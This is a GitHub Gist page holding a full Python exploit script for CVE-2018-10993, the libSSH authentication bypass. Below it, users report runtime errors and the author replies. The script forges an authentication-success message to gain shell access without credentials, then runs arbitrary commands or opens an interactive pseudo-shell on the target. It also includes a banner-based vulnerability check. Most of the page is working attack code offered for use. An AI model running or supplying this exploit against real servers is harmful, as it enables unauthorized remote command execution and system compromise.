-
-
Save mgeeky/a7271536b1d815acfb8060fd8b65bd5d to your computer and use it in GitHub Desktop.
#!/usr/bin/python3 | |
# | |
# CVE-2018-10993 libSSH authentication bypass exploit | |
# | |
# The libSSH library has flawed authentication/connection state-machine. | |
# Upon receiving from connecting client the MSG_USERAUTH_SUCCESS Message | |
# (as described in RFC4252, sec. 5.1.) which is an authentication response message | |
# that should be returned by the server itself (not accepted from client) | |
# the libSSH switches to successful post-authentication state. In such state, | |
# it impersonates connecting client as server's root user and begins executing | |
# delivered commands. | |
# This results in opening an authenticated remote-access channel | |
# without any authentication attempts (authentication bypass). | |
# | |
# Below exploit contains modified code taken from: | |
# - https://github.com/leapsecurity/libssh-scanner | |
# | |
# Known issues: | |
# - UnauthSSH.shell() function is not working: | |
# I never got paramiko.Channel.invoke_shell() into working from custom | |
# transport object. Therefore as a workaround - `UnauthSSH.parashell()` function | |
# was implemented that substitutes original functionality of spawning shell. | |
# | |
# Requirements: | |
# - paramiko | |
# | |
# Mariusz B. / mgeeky, <[email protected]> | |
# | |
import sys | |
import socket | |
import time | |
import argparse | |
from sys import argv, exit | |
try: | |
import paramiko | |
except ImportError: | |
print('[!] Paramiko required: python3 -m pip install paramiko') | |
sys.exit(1) | |
VERSION = '0.1' | |
config = { | |
'debug' : False, | |
'verbose' : False, | |
'host' : '', | |
'port' : 22, | |
'log' : '', | |
'connection_timeout' : 5.0, | |
'session_timeout' : 10.0, | |
'buflen' : 4096, | |
'command' : '', | |
'shell' : False, | |
} | |
class Logger: | |
@staticmethod | |
def _out(x): | |
if config['debug'] or config['verbose']: | |
sys.stdout.write(x + '\n') | |
@staticmethod | |
def dbg(x): | |
if config['debug']: | |
sys.stdout.write('[dbg] ' + x + '\n') | |
@staticmethod | |
def out(x): | |
Logger._out('[.] ' + x) | |
@staticmethod | |
def info(x): | |
Logger._out('[?] ' + x) | |
@staticmethod | |
def err(x): | |
sys.stdout.write('[!] ' + x + '\n') | |
@staticmethod | |
def fail(x): | |
Logger._out('[-] ' + x) | |
@staticmethod | |
def ok(x): | |
Logger._out('[+] ' + x) | |
class UnauthSSH(): | |
def __init__(self): | |
self.host = config['host'] | |
self.port = config['port'] | |
self.sock = None | |
self.transport = None | |
self.connectionInfoOnce = False | |
def __del__(self): | |
if self.sock: | |
self.sock.close() | |
def sshAuthBypass(self, force = False): | |
if not force and (self.transport and self.transport.is_active()): | |
Logger.dbg('Returning already issued SSH Transport') | |
return self.transport | |
self.__del__() | |
self.sock = socket.socket() | |
if not self.connectionInfoOnce: | |
self.connectionInfoOnce = True | |
Logger.info('Connecting with {}:{} ...'.format( | |
self.host, self.port | |
)) | |
try: | |
self.sock.connect((str(self.host), int(self.port))) | |
Logger.ok('Connected.') | |
except Exception as e: | |
Logger.fail('Could not connect to {}:{} . Exception: {}'.format( | |
self.host, self.port, str(e) | |
)) | |
sys.exit(1) | |
message = paramiko.message.Message() | |
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) | |
transport = paramiko.transport.Transport(self.sock) | |
transport.start_client(timeout = config['connection_timeout']) | |
transport._send_message(message) | |
self.transport = transport | |
return transport | |
def NOT_WORKING_shell(self): | |
# FIXME: invoke_shell() closes channel prematurely. | |
transport = self.sshAuthBypass() | |
session = transport.open_session(timeout = config['session_timeout']) | |
session.set_combine_stdLogger.err(True) | |
session.get_pty() | |
session.invoke_shell() | |
username = UnauthSSH._send_recv(session, 'username') | |
hostname = UnauthSSH._send_recv(session, 'hostname') | |
prompt = '{}@{} $ '.format(username, hostname) | |
while True: | |
inp = input(prompt).strip() | |
if inp.lower() in ['exit', 'quit'] or not inp: | |
Logger.info('Quitting...') | |
break | |
out = UnauthSSH._send_recv(session, inp) | |
if not out: | |
Logger.err('Could not constitute stable shell.') | |
return | |
print(out) | |
def shell(self): | |
self.parashell() | |
def parashell(self): | |
username = self.execute('whoami') | |
hostname = self.execute('hostname') | |
prompt = '{}@{} $ '.format(username, hostname) | |
if not username or not hostname: | |
Logger.fail('Could not obtain username ({}) and/or hostname ({})!'.format( | |
username, hostname | |
)) | |
return | |
Logger.info('Entering pseudo-shell...') | |
while True: | |
inp = input(prompt).strip() | |
if inp.lower() in ['exit', 'quit'] or not inp: | |
Logger.info('Quitting...') | |
break | |
out = self.execute(inp) | |
if not out: | |
Logger.err('Could not constitute stable shell.') | |
return | |
print(out) | |
# FIXME: Not used as NOT_WORKING_shell() is bugged. | |
@staticmethod | |
def _send_recv(session, cmd): | |
out = '' | |
session.send(cmd.strip() + '\n') | |
MAX_TIMEOUT = config['session_timeout'] | |
timeout = 0.0 | |
while not session.exit_status_ready(): | |
time.sleep(0.1) | |
timeout += 0.1 | |
if timeout > MAX_TIMEOUT: | |
return None | |
if session.recv_ready(): | |
out += session.recv(config['buflen']).decode() | |
if session.recv_stderr_ready(): | |
out += session.recv_stdLogger.err(config['buflen']).decode() | |
while session.recv_ready(): | |
out += session.recv_ready(config['buflen']) | |
return out | |
@staticmethod | |
def _exec(session, inp): | |
inp = inp.strip() | |
Logger.dbg('Executing command: "{}"'.format(inp)) | |
session.exec_command(inp + '\n') | |
retcode = session.recv_exit_status() | |
buf = '' | |
while session.recv_ready(): | |
buf += session.recv(config['buflen']).decode() | |
buf = buf.strip() | |
Logger.dbg('Returned:\n{}'.format(buf)) | |
return buf | |
def execute(self, cmd, printout = False, tryAgain = False): | |
transport = self.sshAuthBypass(force = tryAgain) | |
session = transport.open_session(timeout = config['session_timeout']) | |
session.set_combine_stderr(True) | |
buf = '' | |
try: | |
buf = UnauthSSH._exec(session, cmd) | |
except paramiko.SSHException as e: | |
if 'channel closed' in str(e).lower() and not tryAgain: | |
return self.execute(cmd, printout, True) | |
if printout and not tryAgain: | |
Logger.fail('Could not execute command ({}): "{}"'.format(cmd, str(e))) | |
return '' | |
if printout: | |
print('\n{} $ {}'.format(self.host, cmd)) | |
print('{}'.format(buf)) | |
return buf | |
def exploit(): | |
handler = UnauthSSH() | |
if config['command']: | |
out = handler.execute(config['command']) | |
Logger._out('\n$ {}'.format(config['command'])) | |
print(out) | |
else: | |
handler.shell() | |
def collectBanner(): | |
ip = config['host'] | |
port = config['port'] | |
try: | |
s = socket.create_connection((ip, port), timeout = config['connection_timeout']) | |
Logger.ok('Connected to the target: {}:{}'.format(ip, port)) | |
s.settimeout(None) | |
banner = s.recv(config['buflen']) | |
s.close() | |
return banner.split(b"\n")[0] | |
except (socket.timeout, socket.error) as e: | |
Logger.fail('SSH connection timeout.') | |
return "" | |
def check(): | |
global config | |
if not config['command'] and not config['shell']: | |
config['verbose'] = True | |
banner = collectBanner() | |
if banner: | |
Logger.info('Obtained banner: "{}"'.format(banner.decode().strip())) | |
# | |
# NOTICE: The below version-checking logic was taken from: | |
# - https://github.com/leapsecurity/libssh-scanner | |
# | |
if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]): | |
Logger.ok('Target seems to be VULNERABLE!') | |
elif any(version in banner for version in [b"libssh-0.7", b"libssh_0.7"]): | |
# libssh is 0.7.6 or greater (patched) | |
if int(banner.split(b".")[-1]) >= 6: | |
Logger.info('Target seems to be PATCHED.') | |
else: | |
Logger.ok('Target seems to be VULNERABLE!') | |
return True | |
elif any(version in banner for version in [b"libssh-0.8", b"libssh_0.8"]): | |
# libssh is 0.8.4 or greater (patched) | |
if int(banner.split(b".")[-1]) >= 4: | |
Logger.info('Target seems to be PATCHED.') | |
else: | |
Logger.ok('Target seems to be VULNERABLE!') | |
return True | |
else: | |
Logger.fail('Target is not vulnerable.') | |
else: | |
Logger.err('Could not obtain SSH service banner.') | |
return False | |
def parse_opts(): | |
global config | |
parser = argparse.ArgumentParser(description = 'If there was neither shell nor command option specified - exploit will switch to detect mode yielding vulnerable/not vulnerable flag.') | |
parser.add_argument('host', help='Hostname/IP address that is running vulnerable libSSH server.') | |
parser.add_argument('-p', '--port', help='libSSH port', default = 22) | |
parser.add_argument('-s', '--shell', help='Exploit the vulnerability and spawn pseudo-shell', action='store_true', default = False) | |
parser.add_argument('-c', '--command', help='Execute single command. ', default='') | |
parser.add_argument('--logfile', help='Logfile to write paramiko connection logs', default = "") | |
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') | |
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') | |
args = parser.parse_args() | |
try: | |
config['host'] = args.host | |
config['port'] = args.port | |
config['log'] = args.logfile | |
config['command'] = args.command | |
config['shell'] = args.shell | |
config['verbose'] = args.verbose | |
config['debug'] = args.debug | |
if args.shell and args.command: | |
Logger.err('Shell and command options are mutually exclusive!\n') | |
raise Exception() | |
except: | |
parser.print_help() | |
return False | |
return True | |
def main(): | |
sys.stderr.write(''' | |
:: CVE-2018-10993 libSSH authentication bypass exploit. | |
Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication. | |
Mariusz B. / mgeeky '18, <[email protected]> | |
v{} | |
'''.format(VERSION)) | |
if not parse_opts(): | |
return False | |
if config['log']: | |
paramiko.util.log_to_file(config['log']) | |
check() | |
if config['command'] or config['shell']: | |
exploit() | |
if __name__ == '__main__': | |
main() |
Hi,
I got error when try this exploit
[+] Connected to the target: 127.0.0.1:22
[?] Obtained banner: "SSH-2.0-libssh-0.6.3"
[+] Target seems to be VULNERABLE!
[?] Connecting with 127.0.0.1:22 ...
[+] Connected.
Traceback (most recent call last):
File "exploit.py", line 684, in <module>
main()
File "exploit.py", line 679, in main
exploit()
File "exploit.py", line 472, in exploit
out = handler.execute(config['command'])
File "exploit.py", line 429, in execute
transport = self.sshAuthBypass(force = tryAgain)
File "exploit.py", line 237, in sshAuthBypass
transport.start_client(timeout = config['connection_timeout'])
TypeError: start_client() got an unexpected keyword argument 'timeout'
Hi @dzhenway
Hi,
I got error when try this exploit
[+] Connected to the target: 127.0.0.1:22 [?] Obtained banner: "SSH-2.0-libssh-0.6.3" [+] Target seems to be VULNERABLE! [?] Connecting with 127.0.0.1:22 ... [+] Connected. Traceback (most recent call last): File "exploit.py", line 684, in <module> main() File "exploit.py", line 679, in main exploit() File "exploit.py", line 472, in exploit out = handler.execute(config['command']) File "exploit.py", line 429, in execute transport = self.sshAuthBypass(force = tryAgain) File "exploit.py", line 237, in sshAuthBypass transport.start_client(timeout = config['connection_timeout']) TypeError: start_client() got an unexpected keyword argument 'timeout'
This may mean that you're not using cutting-edge version of paramiko, because it's docs are saying that:
http://docs.paramiko.org/en/2.6/api/transport.html
Changed in version 1.13.4/1.14.3/1.15.3: Added the timeout argument
Please upgrade your paramiko's installation and retry running the exploit.
Best regards,
M.
Hi,
Ill try it
Thank you
Hello, I allow this error
/usr/local/lib/python3.6/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography and will be removed in a future release.
from cryptography.hazmat.backends import default_backend
:: CVE-2018-10993 libSSH authentication bypass exploit.
Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
Mariusz B. / mgeeky '18, <[email protected]>
v0.1
[+] Connected to the target: 172.168.7.122:22
[?] Obtained banner: "SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.6"
[-] Target is not vulnerable.
[?] Connecting with 172.168.7.122:22 ...
[+] Connected.
Oops, unhandled type 3 ('unimplemented')
Oops, unhandled type 3 ('unimplemented')
Traceback (most recent call last):
File "libsshauthbypass.py", line 379, in
main()
File "libsshauthbypass.py", line 376, in main
exploit()
File "libsshauthbypass.py", line 261, in exploit
out = handler.execute(config['command'])
File "libsshauthbypass.py", line 238, in execute
session = transport.open_session(timeout = config['session_timeout'])
File "/usr/local/lib/python3.6/dist-packages/paramiko/transport.py", line 924, in open_session
timeout=timeout,
File "/usr/local/lib/python3.6/dist-packages/paramiko/transport.py", line 1055, in open_channel
raise SSHException("Timeout opening channel.")
paramiko.ssh_exception.SSHException: Timeout opening channel.
I get this error after [dbg] Executing command: "hostname"
Socket exception: An operation was attempted on something that is not a socket
Usage:
In action: